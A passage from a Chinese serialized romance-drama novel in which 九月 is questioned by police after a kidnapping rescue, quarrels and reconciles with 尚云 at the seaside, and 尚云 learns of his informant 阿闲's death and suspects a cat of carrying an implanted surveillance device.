“别提他,他不配。” 九月不想激怒她,尽量使她冷静下来:“我知道你现在很委屈,但不能用自毁前程的办法去讨回公道。你不为自己想,也要为肚子里的孩子想想,如果以后他知道了母亲的所做所为,他会是什么感受?以前你跟我说过,希望自己的孩子能拥有一个温馨健康的家庭,无论是男孩还是女孩,你都会给予全部的温暖和关爱。小竺,你早就知道他们之间的事,可是你依然留下孩子,说明你很爱这个小生命,你想成为好妈妈。” “够了!我的事你少管。”小竺恼羞成怒,知道今天这事已经被九月搅和了,朝屋内喊了一声“撤”,房间里便有了些小动静,很快又恢复平静。 原以为小竺也会走,却没想到她缓步朝九月走近,低声道:“别以为你今天是在看我笑话,我告诉你,你喜欢的那位也不是什么善茬,偶尔对你黏黏腻腻,你就奋不顾身的掉进甜蜜陷阱里。你相信什么就会被什么算计,在乎什么就被什么控制。你对他的感情他心知肚明,不过是利用你给他打江山罢了,而你从头到尾那么傻,义无反顾做他手中开辟山河的冷月刀。总有一天,你会比我还惨。”说完,她神秘莫测地笑了。 九月怔怔地看她上车离开,这里重新恢复一片死寂,偶尔有蛙声传来。 她想起关之洁还在房里,用力撞门,骨头快散架了也没能撞开。小竺叫了一声撤,那些人就离开了,应该还有另外的出口。 摸黑绕着房子找入口的时候,警笛声由远而近。九月摸到一扇虚掩的木门,进入室内。看到关之洁长发凌乱倒在地上,额上的血迹已经干涸,却不断沁出新的血液。 她将关之洁的衣衫整理好,抱在怀里叫醒她。 关之洁睁了睁眼,又昏死过去。 警察找到她们时,第一时间将关之洁送去医院,留下一名女警员陪护,九月则跟去派出所协助调查。 这时,电话响了,是尚云打来的,她将电话挂断,她不希望尚云牵扯进来。 她发信息说,“我很安全,不用担心,只是不方便接电话。” “你在哪?”尚云秒回。 她将手机关机。 “慕九月,我们有一些具体事件要了解,请你如实回答。你为什么会去那种地方?又怎会知道有人受困?” “我接到一个电话。” “谁打来的电话?” “受伤住院的那位是我同事,她打的电话。” “我们赶过去的时候,只有你和当事人在现场,是否有发现什么可疑人物?” “没有。” “这是一起恶性绑架案,对当事人用了超量的迷魂剂,绝不会把人带到地方后就草草结束,除非有人从中搅黄了这起事件。所以,请你如实回答。” “我确实没有发现可疑之人。” “那请你再将事情经过讲一遍。” “我突然接到同事的电话,听到她在电话里哭着求饶。我很着急,就打了车根据电话里的线索找到那个地方。到那里的时候,房间亮着灯。我撞不开门,在你们到来的时候我找到后门进入,接着你们就来了。” “慕小姐是如何判断出亮着灯的房间藏着你要找的人?” “这是我的直觉,也是常识,因为其它房间伸手不见五指。”九月道。 “你是几点下的车?” “我没看时间,”九月稍微回忆了一下,说道:“我上车时凌晨过几分,大约半小时到达目的地。” 警察查了查司机报警时间,时间吻合:“那你用了多长时间找到房间?” 九月这才发现自己拐进了误区,如果说很快便找到房间,那么时间必定不吻合,警察细微的侦察能力很强,故意这么问的。可如果说用了很长时间才找到房间,那么当初说通过亮着灯的房间找到关之洁的说法有点自相矛盾,那地方只有这座平房亮着灯,如果直奔而去几乎没花时间找人,不可能用了很长时间。 她想了想说道:“我也不知道花了多长时间,天太黑,我不敢走得太快。” “我们在那条路上发现了监控,已经叫同事去取证了。希望你能说实话,否则你将受到包庇罪的惩罚。” 九月眼中掠过一丝慌乱,瞬间隐匿。但审问的警官可没有落下这个细节,他知道九月说谎了。 “一切等取证的同事回来就真相大白,如果你有什么要补充的,随时可以叫我。”警官继续施压。 尚云找到警局的时候,是第二天下午了,还是通过照看关之洁的女警员知道整件案情。尚云给木信打了电话,告知关之洁的事,让公司相关部门来处理。随即便去了警局,然而事情比想像中复杂,并不是简单的录口供那么简单。 尚云提出要见九月,警方拒绝了,只让他从监控室隔着显示器荧幕见九月。 此时,九月低着头,长长的头发遮住了她瘦削的脸,手上明晃锃亮的手铐格外刺眼,也许是手铐格外刺眼,也许是手铐太沉太重,戴久了磨得手痛,她隔一会就调整一下双手的摆放位置,瑟缩的背影无助而孤独。 尚云仰了仰头,把差点溢出来的眼泪逼进去。 “其实只要她把真相告诉我们,她立即可以走。但她不配合。”警官说道,“如果你能劝劝她就更好了。” “不用,她不会说谎。”尚云说完就离开了警局。 警察一定是没有确切的证据指向,这样九月在二十四小时后就会无罪释放,但如果他顺着警察去谈话,情况只会越来越复杂。 他心里有一股无名火,压在胸口无法排解。 他知道这件事跟小竺有关,也只有小竺才能让九月如此违背规则帮她。他坐在车里,疲乏地把头靠在一边。 九月凌晨的时候被放了出来,尚云站在门口,沉着脸什么也没说,只是将自己的外套脱下给她披上。 她也没做声,安静坐在副驾驶位。 一直到了尚云的别墅里,两人都没有任何交流。 吃完岑姨准备的夜宵,已经不早了。 “好好洗个澡睡一觉。”他说。 她看得出来,他心里不痛快。“你不问我吗?” “问什么?”尚云有点气闷地道。 “问我为什么不说实话。害你担心了一天一夜。” 第一百六十六章 彼此失望 “我担心这很重要吗?”尚云生气了:“你现在肩膀上担着重任,你不能像以前那样任性,你不只属于你自己,还属于你的团队,属于整个普世,这么多人跟你命运与共,你不合时宜的言行举止会带给整个普世大地震,这一点你是否有过半点考虑?” 九月盯着他,听到这一番话满脸难以置信。音色却显得异常平静:“我这是任性吗?在我最困难的时候是她陪在我身边,在人生最黑暗的时期也是她将我一点点拉出来,才造就如今这样的九月。如果连这样的恩情都可以罔顾,那人跟草木有什么分别?” 尚云听她提起往事,怒焰便消弥了大半:“九月,人有多面,你看到的是真实的她吗?你怎么知道引你入陷阱的人不是救你的那个人?” “真不真实我心中有数。”九月听他这样说小竺,气得发抖:“你这么说,我是不是该怀疑你,人有多面,你给我的这一面是真实的吗?”这个时候,他最担心的竟然是普世前程,而非活生生站在他面前的自己。 尚云心沉痛了一下,张了张嘴竟说不出半个字。半天才找回自己的声音:“九月,你这么说我真的很失望。” 九月冷冷地道:“如果公司与我同时需要你,你会选择我吗?” 尚云愣了愣,头微微侧转,回答道:“我第一身份是普世的领路人,然后才是尚云。” “也就是说,你会选择普世。” 而我真的要被放弃?后半句九月没有说出来,心凉了半截。 他咬咬牙,沉声道:“没错。” “你说你很失望,又怎么知道,我不失望?”她出乎意料的笑了,无力而沮丧。其实她心里早就猜到了,却偏偏逼他说出来。 她一边踩着楼梯,一边说:“别人待我有情,我就得待人讲义,我不后悔自己的选择。无论是为你做的,还是为小竺做的。天一亮我就回姜城,如果你觉得我不配带团队,不配呆在普世,随时可以告诉我。” 尚云听着她心灰意冷的话,突然有些后悔。 明明担心她出事,一夜未合眼。明明替她感到不值,不顾自己安危去维护一个心机深沉的罪魁祸首。明明他将她看得比自己的命还重要,见不得她受半点委屈。他却羞于坦露心声,打着官腔只讲明面上的利害。 回到房里,借着冲淋浴的机会,她泪水肆意流淌。 床铺已焕然一新,带着洗涤水的清香。她无心欣赏,蒙头大睡。 迷迷糊糊中,她被人带到了那间小黑屋,被那双皮鞋又是踢又是踩,冰冷尖锐的痛在胸口划拉出一朵带着鲜血的花。 她大声的哭喊,都发不出声音,喉咙像被堵着一团棉花,让她几乎窒息。 手在黑暗中挥舞,脚蹬得软席呯呯作响,枕边的书被她扫到地上,尚云从书房出来时听到动静,忙敲她门。 “九月,睡了吗?” 屋里没有开灯,也没有任何回应,他刚想离开,就听怦的一声。 尚云进房打开灯时看到骇人一幕,九月滚落在地,仿佛经受莫大的痛苦,面色潮红,银牙紧咬,不停挣扎,头发被汗水浸透,贴在面颊上。 她的手一直紧紧捂住胸口,手腕上有撞伤的淤青,尚云捧住她烫人的脸唤她,却怎么也唤不醒。尚云只觉肝肠寸断,抱起她就大喊岑姨帮忙开门。 岑姨听到他声音都变了,快速跑出来帮忙开了门,跟去车库一直到将九月放入车内。 向来遵守交通规则的尚云,破天荒闯了两个红灯,一路飞驰到医院。 直到急诊室的医护人员将他阻隔在外,对九月进行医治,尚云才发现映照在玻璃上的怆惶的人影和脸上惊惧的神情。 他素来以泰山崩于前而色不改的定力为傲,鲜少如此惊慌,此时已是分寸尽失。上次像这样的恐惧,还是与她约在咖啡厅见面,以为出车祸的人是她。 他全身虚软,慢慢挪步到旁边的椅子上坐下。 医生神情严肃出来,尚云心里咯噔一声,心里有了不好的预感。 “你是慕九月的家属?” “对,我是。” “你不用紧张,慕九月没有危险了。但她的病情有点复杂,表症是风寒引起的发烧和噩梦症状,应该还有深层次的病因,导致并发症,你了解吗?” “......”尚云想到了抑郁症。 他还没说,医生就问道:“比如说心理隐疾之类的。” “她有接受过抑郁症治疗。但看起来痊愈了,平时很正常。” “心理上的疾病具有隐密性,比如整天乐呵呵的却突然跳楼自杀的大有人在。我建议她去接受专业的深度心理治疗,否则,难保下次遇到刺激会发生什么。” “好。” “那行,先留医观察一天,一天后没有大问题,开点药方就可以离开了。” “谢谢医生!” 尚云寸步不离地守在九月病床前,紧紧握着她的手。她睡得很安稳,快天明的时候他又问道,“护士,人怎么还没醒呢?” 值夜护士很有耐心,何况尚云还是如此丰神俊朗的人物,“别担心,她的体征都稳定下来了,大概是烧了一个晚上,这回才真正睡安稳。别叫醒的好。” 他打量自身,昨晚出门急,他穿着一双居家拖鞋就冲出来了,想着回去换套衣服,带点吃的来。“也好,我回去给她准备点吃的,你帮我看着点,如果醒了你告诉她我马上回来。” “好的。” 没想到刚到家一会,就接到金志高的电话,说公司出了点状况,江湖救急。 尚云迟疑道:“可以迟点吗?我......” 金志高正色道:“迟一点就来不及了。” 他套上外套,下楼时岑姨把鸡汤交到他的手里。一脚油门踩到金仕集团,员工们见到尚云都热情打招呼,一切井井有条,不像出事的样子。 他满腹狐疑地径直来到金志高的办公室,“志高,公司出什么状况?” 志高欲言又止,“唉,我那......其实没啥状况。” 这时,身后传来悦耳的声音:“谁说没啥状况,你都躲着我好一阵了,打电话不接发消息不回,我实在没办法,只能叫我哥约你来公司见上一面。尚云哥,你都好久好久好久没陪我逛街了。” “就为这事?”尚云半天才吐出这四个字。 第一百六十七章 尚云明确拒绝子玥 “尚云,我......开个玩笑,公司没出状况,这是好事。怎么还不高兴了呢?”志高眼见尚云面色变了,想轻松化解。“子玥不懂事,她非得让我打电话约你见面,我知道你刚回国肯定有很多事要忙。” “金志高,你都多大了还玩‘狼来了’的把戏?好玩吗?子玥不懂事,你也不懂事吗?九月现在还躺在医院里,你一个电话我就过来了。我们之间的信任你要将它消磨殆尽吗?”紧张焦虑了一个晚上,终于找到突破口,尚云拂袖而去。 金志高理亏,不能反驳半句,只能眼睁睁看着尚云离开。金子玥没想到尚云会发那么大的火,被吓懵了,看了一眼匆匆离去的尚云,又看了看哥哥,道了一声:“哥,对不起,我不知道会这样,我去跟尚云哥解释清楚。” 说完紧跟着走出了办公室。 还是迟了,赶到医院的时候,九月的床铺人去床空。护士交班了,“病人在你走后没多久就醒过来,没打招呼就自己走了。” “跟你交班的护士没跟她说我会来回来接她吗?” “那时交班,要查房、输液、换药,是一天中最繁忙的时候。估计没来得及跟她说。”护士说。 尚云打她电话,一直没人接听。才想起根本没带她的手机出来,包还在尚云家。身上没钱又没联络工具,应该走不远。 想到这,尚云便沿街去寻找,子玥默默跟在他身后,帮着他一起找。 此时九月在街头精神委顿的闲逛,出了医院才发现自己身上没钱也没手机,竟无处可去。情人节刚过,很多店家促销活动还在进行,其中一家店正播放着偶像剧,她素来不喜欢,觉得做作,不真实。然而男主角说的一句台词却戳中她的泪点。 男主说,“我是来为你撑腰的,不是主持公道的。无论对错,有我护着你!” 她从泪如泉涌到痛苦失声,店里销售员被这突如其来的痛哭吓得不知所措。又是递纸巾,又是倒水给她缓和情绪。 九月似乎感知到他人的同情,这是她最讨厌的,便速速抹干眼泪逃离让她狼狈的场景。 一个不留神,身体被迎面走来的人撞得重心不急,而对方也因为这一撞倒退了几步,一屁股坐在地上。 就在九月欲行五体投地之礼时,腰身一紧,人已落入一个厚实的怀抱,熟悉的气息让她的神智有一瞬间的恍惚,仿佛穿越时空回到了某日,两人相拥亲吻时那一刻。 “没事吧?”言辞中还有些不易察觉的急切。 九月赶紧站直身子,怔忡的面部表情来不及缓和,就见尚云转身扶起地上的金子玥。 金子玥心情不好,此时被人撞了,更是火上烧油。从地上站起来没看清来人就开始发难:“你走路不会看道啊?这么宽的道你偏要跟我抢!抢别人的你觉得光荣吗?” “子玥,别太过分!”尚云喝道,不着声色的护在九月前面。 “我过分?是她撞到我的,尚云哥,你从来不会这样子对我的,在你心里,我还不如一个路人吗?” “这是大街上,闹够了没有?”尚云突然发怒,眉头笼罩起一阵冷雾。 金子玥被他冷怒震慑住了,马上噤了声。 路人?此时,她的确是他们的路人甲。 九月强忍着眼泪,扯出笑容说:“子玥,对不起”。 金子玥听到这一声道歉,这才偏头看过去,发现是九月,她自觉失言:“九月姐,怎么是你?我刚才不知道……” “没事,本来就是我撞了你。”她回头若无其事地说:“尚总,我的东西落在你府上,我得回去一趟。” “我送你回去。”尚云立即道,他专程来接她的。 九月看了看金子玥委屈的模样,说道:“不用了,借给我打车费,我自己回去就行。” 尚云面无表情看着她,并不打算给她钱。 九月伸出手,摆出讨要的姿势:“我这辈子从未向人伸过手,难道尚总这点薄面也不给吗?” 子玥就算再不懂事,也明白这两人正在闹矛盾。她看看尚云,又看看九月,从皮夹中抽出两张红钞票,递给九月。 “谢谢子玥,一张就够了。”九月退还一张给她,绕过他们,拦了一辆计程车,尚云与子玥的身影在后视镜中慢慢缩小,遥远。九月心里缓缓裂开一条深不见底的黑隙。 瞧着九月越来越远,尚云干脆将子玥带到车上。 “我们回去吗?” “不急,我先跟你聊聊。” “那不如我们去找家咖啡店。”子玥很高兴。 尚云摇摇头:“就在这。” “那尚云哥想聊什么?”子玥甜甜地笑。 “子玥,我们认识多久了?应该有将近十五年了。想起认识你那会,你还只是一个十岁的小丫头。整天跟在后面像个跟屁虫,哥哥长哥哥短的叫,我从心底里将你看成自己的亲生妹妹。” 金子玥感觉话锋不对,但还是笑着回忆,“对啊,当初我父亲让我改口叫你一声尚云哥,你回头定定看着我,眼圈发红。我以为你不高兴,于是改口叫你二哥,你却执意让我叫尚云哥。以前我没敢问,今天能告诉我为什么吗?” 尚云脸上的笑容隐匿,眼神变得飘缈:“因为你那样称呼我,就令我想起一个人。她曾经也是这么叫我的,但是后来我跟她打赌,结果她输了就不能这么叫我。” “为什么?” 尚云浮现温柔而坚定的目光:“我很贪心,不只是想做她的哥哥。她是我喜欢的人,想白头偕老的人。” 他转头看向膛目结舍的子玥,“子玥,我一直将你当做亲妹妹,从前是,今天是,未来依然是。尚云哥只能陪你走一段路,剩下的路你要去找一个视你为生命的男人来照顾你,不用在我这里浪费时间,我没有资格。” “你胡说!”金子玥笑容凝在脸上,好半天,眼睛里水光闪烁:“你花园里种那么多月兰,你给书房起名明月阁,每次练书法总是开笔就写月儿,就连喝醉了酒,嘴里叫的也是月儿。这些你怎么可以矢口否认,你将我当成亲妹妹?我不相信!你是不是有什么难言之隐,我可以......” 子玥越说越急,尚云只好打断她:“子玥,子玥听我说。月儿是九月的小名。” 这回子玥安静下来了。 九月。这样就说得通了。可明明他们是兄妹啊。“你们不是亲兄妹?” “不是。”尚云没多作解释,淡淡否认。 金子玥怔怔地不再说话,眼泪成串掉下来。多年的幻象被打破,子玥表现出豁然开朗的样子,抹了抹眼泪说:“九月姐那么漂亮,又能干,输给她也不丢脸。我没事,我想回家。你送我回去吧。” 第一百六十八章 我只属于你 一路上,子玥将自己如何威逼利诱兄长将尚云骗过来的全部经过,坦言此事与志高没什么关系,让尚云别再生他的气了。 听到尚云亲口答应才重展笑颜。 到了家门口时,子玥解开安全带,问了一句,“如果,我比九月姐先认识你,你会喜欢我吗?” 尚云沉默了几秒,知道这一路她尽量在掩饰情绪,恻隐之心顿起,便顺着她的意愿说道:“会。你这么可爱,谁会不喜欢?” 子玥笑着笑着,眼泪就落了下来:“九月姐真的很幸福。好生羡慕。我走了。”推门下车,头也不回的走了。 尚云未多作停留,快速赶回家里,岑姨说,“九月已经走了。” 安源镇,秋意凌瑟。 冷清而空旷的季节,给墓地里平添几分萧煞。 九月站在父母的墓碑前,娇美略带伤感的面容在看到墓碑前摆放的鲜花时,露出惊诧。 谁来过?她咬着微颤的唇,眼睛里混合着酸痛喜悲。是尚云吗?看花和水果的成色,应该就是刚刚放上去的。 她环顾四周,晨烟薄雾里罕无人迹。只有躬身清扫着墓地石阶的管理员,孤身只影的穿梭在柏树石碑后。 失望地收回视线, 她把几个盘子一一排列在墓前,又放了一束白菊。九月从包里掏出备好的方巾,一边给石碑擦试得锃明瓦亮。一边跟父母聊天。 “爸、妈,收到你们托的梦,九月来看你们了。我带了妈妈最喜欢吃的糯米糕,还有豆腐酿。也带了爸爸最喜欢的桂花酒,都是今天早上去镇上老字号买的。” “妈妈爱干净,我给你们擦得漂漂亮亮的。时间过得真快,你们离开已经十多年了,当年,事情发生得那么猝不及防,我来不及接受这个事实,到现在心里仍是不愿接受,只当这是个醒不来的梦。你和爸爸一定有好多话要对我说,每次梦见你们总是短暂,我都来不及好好拉家常。” 九月声音哽咽起来,泪如珠落:“不过,我并没有沉迷在悲伤中,我很努力,很努力的活着。妈妈喜欢菊花,说它百花落尽它独开,不畏秋寒争云志。做人就得像菊花一样高志亮节,我不知道自己是否已经达到你们的标准。 我很喜欢这份工作,上次跟你们提过,做文化顾问,现在还带了一个小团队,团队里的成员都很上进,很省心,跟他们在一起,原本感觉历尽苍桑的心恢复了这个年纪该有的青春活力。” “对了,爸、妈,你们车祸的事已经真相大白,你不必自责,是有人故意栽赃陷害,凶手也已去世。虽然无法正式为你们平反,但再等上一阵,等我把手上的工作再往上推进一个高度,等我将一切安排妥当,我会想办法替你们平反。” “刚才去看了奶奶,她有腿疾,风湿病重,走路慢,你们要等等她。我已经很久没有梦见她了,也不知道你们三人在那个世界有没有遇见,不知你们在那个世界过得好不好,还会不会有人世间这么多烦恼。我希望你们在那边也要好好的,我答应你们,我也会好好的。最近工作有点忙,连学校绘画课程都推掉了,不过,有空我会来看你们的。” 九月朝墓碑鞠了躬,脚步沉重地离开了。风啸呜咽,天空凄迷,风又起,吹得菊花颤动,飞灰弥漫。 走出墓地,九月漫无目的的行走。 当鼻子嗅到那熟悉的海风腥味,她才发现,自己已经走到海边。 海水平静,天空蔚蓝。因为不是节假日,也不是游海旺季,海滩上廖廖数人,很是静谧。 海风似乎很温柔,轻轻撩起衣角又轻轻放下,九月迎风而立,极目眺望海的边际,长发似墨,随风飘舞。 时隔这么多年,她依然对这片海滩有言的情感,尽管这里的景象与十多年前相差十万八千里了。 她脱掉鞋子,赤足走进湿沙滩,从沙里捡起一块鹅卵石,就找了一块被海浪扫平整的沙地,行云流水般绘出一幅巨画。画作完成,就觉得领口一松,项链便滑落在沙地里,她失神的当口,浪潮卷上来,瞬间将项链吞掉了。 “不,不能这样......”她追着浪花踩进水里。 “上来,危险。” 听得一声喊,紧接着手臂被人拽住,她急道:“我东西掉了,你别拉我。” 突然反应过来,回来看向身后,惊讶道:“尚云。” “先上来,一会浪潮又回来了。”话音刚落,新的浪潮又席卷过来。 尚云干脆抱住她往岸上奔,黄昏时刻正是开始涨潮的时候。他抱着她走至干沙地界,并没有松手。 “放我下来。” “不放。” “你怎么这样。” “我就是这样。” 令人啼笑皆非的对话仿佛两个孩子,见她红了眼眶,他才乖乖放她下来。“九月,那天我说话不知轻重,伤你的心,我向你道歉。我不希望这样的误会横亘在我们之间,我们好不容易决定在一起,就得高质量的在一起。老天给我们的时间有限,我不想浪费哪怕一分一秒。” “那我再问你一次。”她哽咽道,“如果公司和我同时需要你,你会选择谁?” 尚云沉默了半晌,严肃且深情地道:“九月,我不会说谎话骗你,如果公司和你同时需要我,我还是会选择公司。” 眼见九月又要转身,他轻轻扳回她的肩:“听我说完,在公事上,你和普世是一体的,这是我的责任,一视同仁。如果是私事上,安顿好公司后我会付出一切代价去保护,哪怕失去生命。” 九月怔住了,他是个不随便许诺的人,如今却做出了这样的承诺。 她泪如雨下,“谁要你失去生命了?许这样重的承诺,你收回去。” “那你不生气了?”尚云拥她入怀,问道。 “见到你之前还伤心,见到你之后就自动原谅了。” “你刚刚还气嘟嘟的样子。” “谁让你那样硬生生的回答,一丁点台阶也不给我。” “是我的错。”尚云说着,不知从哪里变出一条项链来。 九月捂嘴惊讶,还以为他会魔法,捡回了那条项链。仔细一看却不一样,而且项链上拴着一枚周身精巧镶了一圈细钻的戒指。 “这是七夕礼物。在身上揣了两天了。”尚云给她带上。 九月脸都红了,“那戒指是怎么回事?” “承诺。我属于你,你也只能属于我。” 第一百六十九章 阿闲出事 她心花怒放地偎在他身边,此时无声胜有声。 两人平复情绪后,沿着沙滩漫步,欣赏最后一抹余晖,尚云赤足背起九月,在沙滩上慢慢走,聊起小时候两人在这里初见时的情景。 九月刻意不问,为什么今天他跟子玥在一起,将自己丢在医院。而尚云也忍住不问,为什么不愿深度治疗抑郁症,屡屡犯病? 彼此都小心翼翼呵护这份欢乐时光,不舍得打破这份美好。 “你去过墓园了?” “是啊,答应要陪你来的。” “你电话一直在响。” “再给我五分钟。” “什么?” “这五分钟我只是尚云。”尚云淡淡一笑。以前以工作为乐,只要是醒着,他只有一个工作中的角色。如今,为了九月,他对自己稍作角色分离,他也享受这样的角色分离。 九月哑然失笑,叫他放自己下来。 “再背会。”尚云说。 “我可不想这么霸道,来日方长,不在乎这五分钟。”九月趴在他耳边说道。 他沉默不语。不敢承诺来日方长,只敢保证珍惜拥有。 这时,不知不觉两人已来到海滩最漂亮的崖石边,正好见一组工作人员在给一对新人拍婚纱。摄像师一边调教新人摆poSS,一边捕捉红透半边天的海景晚霞。 “放下来吧,人多。”九月悄悄说道。 尚云依言,默默看着两人温馨而俏皮的姿势。他看了九月一眼,她眼中噙着笑,却不发一言。 “走吧。”尚云催促道。 九月默契地说:“走吧。” 在往回走的路上,海滩更加安静,只听到耳边的风声和沙粒在脚下发出细碎的声音,她突然说:“如果有一天,我突然不告而别,请你一定要相信,只要活着,我一定会回来的。” “你要去哪?”尚云问,一丝不好的预感涌上心头。 此时电话响了,尚云又问:“你要去哪?” “你先接电话。” 尚云拿出电话,这次是一个陌生号码打过来的,“尚总,我是阿闲的朋友。” 听到这句话,尚云脑中瞬息万变。阿闲已经很久没跟他联络了,何况,他从不会让第三方来联络自己。 他们的联络电话一旦暴露,就证明阿闲已陷入险境。 “我不认识什么阿闲。”尚云镇定的说道。 “哦。”对方似乎低低笑了一声,“那我寄一件礼物给你辨别一下。” 说完便收了电话。 尚云接完电话,面色凝重,久久没有说话。 “怎么了?”九月感觉事情很严重。 “没事。我们回去吧。”尚云说。 在回去的路上,他一路在思考,对方了解他多少,知道多少底细,如果对方想调查,应该也很容易。想着这些,他将九月放在另一个繁华的城镇车站,让九月乘坐大巴回姜城。 尽管九月不知道发生了什么,也猜到让尚云如此警戒一定是件大事。便按他的吩咐回去了。 送九月上车后他急驰回司,召来严教官,密秘商讨了一阵后,公司的入职训练结构便重新调整了。 严教官名义上去分公司担任培训师,实则在分公司落脚转而加入了九月的团队,而总部的副教官则被提上来做了正教官。 另一边九月回到姜城后,打电话给任聪来接她。 没想到兄弟几个全来了,见了九月高兴得不得了,一阵嘘寒问暖,弄得九月感动不已。 于是,开玩笑道:“你们这两天可没干坏事吧?突然对我这么好,我怎么有点不习惯呢?” “哪能呢,领导,主要是你天天都在这里,突然一离开,我们都失去了主心骨,真的太想你了。”老欧说道,装出擦眼泪的样子。 刚想说老欧嘴贫,平时一本正经的书生居然也说,“老欧说的都是我们心里话。” 其他几个点点头,任聪比起他们要沉稳很多,直接说明原因:“听说你生病住院了,大家担心你不回来了,让我们自生自灭呢。” “生病?”她突然想起发烧住院的事儿,“你们怎么知道的?” “尚总,他今天一早就发消息给我说,你生病住院了,要给你延假,让我们自己安排工作。” “原来如此。”九月笑笑说,“小病,害你们担心了。” “回来就好,欢迎归来,不容易啊!”干周拍拍手,跟方仔齐说道:“接风洗尘。” “走喽!”一行人便欢快向闹市进发。 九月很感慨,看到陪自己一起并肩作战的五位男生,从街头霸王变成兢兢业业的职场精英,他们那样努力,在自己带领下个个对未来充满希望,全力以赴去追梦,无论如何也不忍心因为任何个人原因而放弃他们。 她终于理解了尚云说出那句话的含量与分量:首先是领导者责任,然后才是个人。 尚云是对的。 不知道他此时正在忙什么,他又是接到谁的电话神情大变。想到这里,她发了信息给尚云,“我跟团队在一起了,你在干嘛。” 信息发过去后,过了好一会才回过来,“还在公司开会。” 她自觉地不再打扰。 晚上躺在床上的时候,九月忽然收到他的来信,“你们的新办公处我交给严教官去找,他明天就会到。我手上事情多,走不开身。” “好,忙归忙,注意休息。” “嗯,你也是。” “对了,我有一件事很纳闷。”九月倏地想起小竺说的话。 “什么事?” “关于我们俩的事,为什么小竺会知道?” “你们之前那样要好,知道也不奇怪。” “不是!”九月皱眉,想了想回信息:“是现在的关系状态,说我们之间黏黏腻腻。我想不起来除了岑姨,还有谁见过我们之间有过分亲密的举动。” 尚云静默了一会,“你是怀疑岑姨?” “岑姨也不像那种人,不过,好像没有第二个人知道我们之间的事。我连文菌都没告诉。” “对岑姨做过背景调查,很单纯的社会关系,不会是她。”尚云一口否定。 “这就更奇怪了。” “她若是想知道,总有办法。别想了,早点休息吧。”尚云宽慰她,自己却在房里兀自踱步,细细思索任何可疑的地方。 他跟九月的亲密举动和所到之处几乎都是突发性,并非计划性。所以不存在事先埋伏或者有眼线。 当初旅游的旅行社也已经成为自己的客户,而且是对方亲自上门讨教。对方的规模太小,就十几号人,并不打算纳入客户列表,只给了几个中肯建议。 但旅行社的老总却很诚恳,最终打动尚云,目前已发展成为朋友,断不可能是他那套出什么。 尚云托外国的一位朋友找了一个专门定制监控装备方案的专家了解情况,“在室内被监控的情况有哪些?” “现在电子监测产品越来越智能化,微型化,最普遍的就是针孔摄像机,窃听器,定位器之类。如果你方便的话,可以找我们团队上门做检测。” “我的房子都有装防监测设备,如果发生这种情况,不可能一点异象都没有。” “还有一种情况,是新型的活体监控设备。” “活体监控设备?这是什么?” 第一百七十章 阿闲身亡尚云吐血 “比如,在动物或者人体内装置的监测设备。毛发里或眼睛里,以及身体其它地方,装上窃听器或者监视器,光靠防监测设备很难检测出来,因为这种跟活体融为一体的生物科技,隐匿性更高。 一般监视器以装置于眼睛里为多,而窃听器则装置在毛发里居多,制作程序复杂,不过,据行业内幕消息,这两年有了很大的突破。现在已经研发出新的成果,只要取活体的细胞,很快就能克隆出任何活体组件,跟微型监测设备紧密连在一起,表面看起来跟活体一样,要专业人士通过科技检验才能辨别,光靠肉眼是分辨不出来的。” “太不可思议了!”尚云喃喃道。 了解清楚后,他约好下次联络方式,便收了线。 尚云仔细想了想,将“活体”疑云渐渐聚焦到九月那只猫身上。 他回想洋洋失踪了一段时间,但是时隔很久,又突然出现在公寓楼下,刚好被九月遇见带回去,当时洋洋没有挣扎,只怕是打了微量麻药动弹不了,否则早就跑了。 听九月闲聊时说起洋洋自从离家出走后,性情都变了,特别怕人。连九月要抱它,它都挣扎着想逃。 现在想来,这些小细节都是指证。 如果真的是洋洋,那么望月居里里外外的布局全被对方摸了底了,而他跟九月的关系对方也早就一清二楚。 他决定将洋洋寄给那位专家朋友检测,此事先瞒着九月,以免她伤心。 幸好她没有将洋洋带去工作地点,而是寄养在文菌手里。 九月第二天要带团队去客户处驻厂深度诊断,整个团队都不会在驻扎点,于是出发前跟严教官取得联络。 严教官平时非常冷毅的一个人,此时也没有太多话,“九月,你去忙工作,不用管我。” 九月感觉内疚,没尽到地主之谊。 “我来这里有任务,恐怕还不能与你们会合。”严教官似乎洞察到她的想法,一句话就让九月宽心了点。 便安心带着团队出发了,其实严教官租了一辆车,就跟在九月的车后面。 两天后,望月居岑姨收到一个快递,对方根本没有留下信息,含糊填的姓名和电话根本查无此人。尚云掂掂快递,很轻巧。 他小心切开快递盒子,几张照片落了下来,他看到照片中的物体后,几欲昏厥过去。他怒吼一声将快递包扫落在地。 “尚先生!”岑姨吃惊的走过来,他鲜少发如此大的火,走近了才发现他已泪流满面。 岑姨瞟了一眼地上的照片,也是看得胆寒心惊。 “岑姨......”他哑声叫道,摆摆手,示意岑姨走开。 自那以后,尚云将自己关在明月阁里,一天一夜未出来。岑姨送饭过来敲门也不应。正在着急,就见木信急匆匆出现在望月居。“岑姨,尚总在吗?” “在,在的。” 木信问道:“尚总发生什么事了?今天很重要的会议没参加,又拒不接电话,他以前从不会这样。莫不是身体有什么状况?” 岑姨像看到救星,一五一十地把当天发生的事情告诉木信。急得快哭了:“尚先生当晚气色就不好,晚餐也没吃,一直到现在都是粒米未进。再这样下去,身体可受不了。幸亏你来了。” 木信问:“尚总书房钥匙你有吗?” 岑姨道:“我这里没有,没他同意,谁都不能擅进书房。” 木信便咚咚跑上楼,敲门说道:“尚总,你在里面吗?请开门好吗?遇到事情我们一起解决。你跟我说过,再艰难的路,只要意志坚定,就一定会柳暗花明。” 敲了半天,尚云神色憔悴地打开门,扫视二人一眼,转身径自进去了。 “岑姨,你去给尚总准备点吃的。”木信说。 岑姨下楼忙活去了。 “尚总......”木信刚想说话,就听尚云电话响了。 又是一个陌生电话,尚云凝神盯了两秒才接通电话。 “喂,尚总吗?” “你是哪位?” “我是阿智,是阿闲的朋友,我们在出租房见过面。” 尚云想起他来,听到阿闲的名字,心中剧痛:“阿智。你说。” “阿闲前段时间托我给你寄东西,但是发出去后不知怎么回事,被退了回来。我都是临时据点,当时我已经离开,接到退件电话,包裹被人取走了。后来得知,阿闲受了不少折磨,走得时候已经面目全非了。” 尚云身形摇晃了一下,脸上毫无血色像大病初愈一样,额角的汗水,与眼角的泪水混合在一起,再沿着坚毅的脸颊掉落在地毯里,消失不见。 木信伸手扶住他。 “他曾经委托我,如果他不幸遇难,一定要转告给你两句话,他说,我死后你不用替我收尸,更毋须自责,一切出于自愿,这是我欠你爸爸古董事长的......” 